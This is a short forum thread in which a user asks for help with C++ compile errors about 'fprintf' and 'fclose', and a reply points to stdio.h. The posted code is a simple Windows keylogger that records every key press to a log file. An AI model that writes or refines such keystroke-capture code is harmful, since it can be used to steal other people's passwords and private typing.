HELP- [Error] 'fprintf' was not declared in this scope

I have this error-
[Error] 'fprintf' was not declared in this scope (line 32)

and this

[Error] 'fclose' was not declared in this scope (line 33)

here's my code.........





1 #include <iostream>
2 using namespace std;
3 #include <windows.h>
4 #include <winuser.h>
5
6 int save (int key_stroke, char *file);
7
8 int main ()
9 {
10 char i;
11
12 while (1)
13 {
14 for (i = 8; i <= 190; i++)
15 {
16 if (GetAsyncKeyState (i) == -32767)
17 save(i,"LOG.TXT");
18 }
19 }
20 system ("PAUSE");
21 return 0;
22 }
23 /* *********************************** */
24 /* *********************************** */
25 int save (int key_stroke, char *file)
26 {
27 if ( (key_stroke == 1) || (key_stroke ==2))
28 return 0;
29
30 FILE *OUTPUT_FILE;
31 OUTPUT_FILE = fopen (file, "a+") ;
32 fprintf(OUTPUT_FILE, "%s", &key_stroke) ;
34 fclose (OUTPUT_FILE) ;
35 cout <<key_stroke << endl;
36 return 0;
37 }
38
Last edited on
#include <stdio.h>
where do I include that? (what line?)
nevermind that was a stupid question......
Topic archived. No new replies allowed.